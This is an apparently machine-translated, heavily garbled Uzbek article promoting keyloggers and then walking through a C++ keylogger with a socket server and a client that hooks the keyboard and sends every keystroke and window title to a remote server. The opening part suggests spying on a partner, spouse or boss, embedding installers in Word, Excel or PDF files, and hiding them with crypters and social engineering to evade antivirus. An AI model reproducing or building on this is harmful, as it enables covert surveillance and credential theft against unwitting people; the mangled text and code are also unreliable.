Xo'sh, sizning metangiz qiz do'stingiz, odamingiz, sudyangiz yoki ehtimol siz muntazam ravishda qattiq ishlaysiz va bir tiyin uchun yaxshi o'ylab ko'ring, chi varto. Adzhe erta chi pizno olish mumkin. Bu shunday emas: "birovning sarson oqligiga shoshilish - qabulxona xodimlaridan mamnun emas". Agar sizga hali ham kerak bo'lsa (yoki siz kompyuterning noto'g'riligini tekshirish sohasida ishlayotgan bo'lsangiz va shuning uchun siz professional poyabzal kiyishingiz mumkin), unda faqat ikkita variant bor: Kalamush! va Elite Keylogger. Word/excel/pdf-ga yopishtirilgan o'rnatish tarqatish to'plamlarini biriktirish rejimida. Muxtasar qilib aytganda, iloji boricha yangi kriptor bilan shifrlash. Faqat har bir daqiqada siz ko'proq yoki kamroq xavfsiz faoliyat va haqiqiy muvaffaqiyatni kafolatlay olasiz.

Biroq, har qanday holatda, keyloggerlardan to'g'riroq foydalanish yaxshiroq ekanligini unutmang - maqsadga erishish uchun faqat bitta kichik lanka (shu jumladan oddiy hujumlarni boshlash). Ma'muriy huquqlarga ega bo'lmang, jismoniy kirish huquqiga ega bo'lmang va barcha koristuvachlar ochiq bo'lmaydi, qo'shimchalaringizni / xabarlaringizni o'qing va yuklab oling (privit ijtimoiy muhandislik), baribir antivirusni / keyloggerni / kriptorni yoqmang. . Bularning barchasini va boshqa ko'plab muammolarni engish mumkin, ammo ikkinchisi boshqa maqolalar seriyasining mavzusi.

Bir so'z bilan aytganda, Guvohlar katlanabilen, xavfsiz bo'lmagan va axborot xavfsizligining yanada cicavi dunyosida porinati boshladilar. :)

Hurmat bilan,Lisyak O.S.

Va birinchi navbatda, o'qishdan oldin davom eting - mening blogimga qarang, u erda men dasturlash, virusologiya va boshqa nutqlar bo'yicha o'z mualliflarimning maqolalarini nashr qilaman.
Asl maqola

Barcha ma'lumotlar faqat sizning bilimingiz uchun berilgan. Ma'muriyat ham, muallif ham ushbu maqola materiallariga bo'ysunish mumkin bo'lgan har qanday buzg'unchilik uchun javobgarlikni o'z zimmasiga olmaydi.

• Visual Studio 2015 hamjamiyat yangilanishi 4
• Visual C++ 2015

• Konsol dasturi, shunda siz mijozdan ma'lumotlarni olasiz va uni konsolda ko'rasiz

• Vlasne, keyloggerning o'zi, bu serverdagi tugmachalarni bosish usulidir

Server
Visual Studio'da C++ konsol dasturini yaratamiz.
Butun kod ofisda. MSDN dumba - * Ko'rib chiqish uchun forumga qarang. *
Biz uchun muhim ishlarni yangisiga almashtirish shart emas.
Keling, doimiy o'zgarishlarni yozamiz: bufer hajmi va jurnallar yuboriladigan server porti

Kod:

#define DEFAULT_BUFLEN 1024 //Bufer #define DEFAULT_PORT "1337" //Port

Kod:

Bajaring (ClientSocket = accept(ListenSocket, NULL, NULL); //Ulanishni qabul qilish iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Jurnalni o‘qing, agar (iResult > 0) //Jurnal bo‘sh emas printf( "% s", recvbuf); //Display closesocket(ClientSocket);//Sana memsetini yoping(recvbuf, 0, sizeof recvbuf);//Xotirani tiklash) while (to'g'ri);

Mijoz

Kod:

#DEFAULT_BUFLEN 20000 ni aniqlang #SERVER_IPni aniqlang "127.0.0.1" #SERVER_PORT "1337" ni aniqlang

Kod:

WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; charlastwindow; int Saqlash (int tugmachasini bosish); // Boshqa argumentni olish

Kod:

SendMa'lumotlarni bekor qilish (char*ip, char*port, char*ma'lumotlar)

Kod:

Chardata; sprintf(ma'lumotlar, "\n\n", window_title, s); sendData(SERVER_IP, SERVER_PORT, ma'lumotlar);

Kod:

Charc; sprintf(c, "%c", kalit_bosish); sendData(SERVER_IP, SERVER_PORT, c);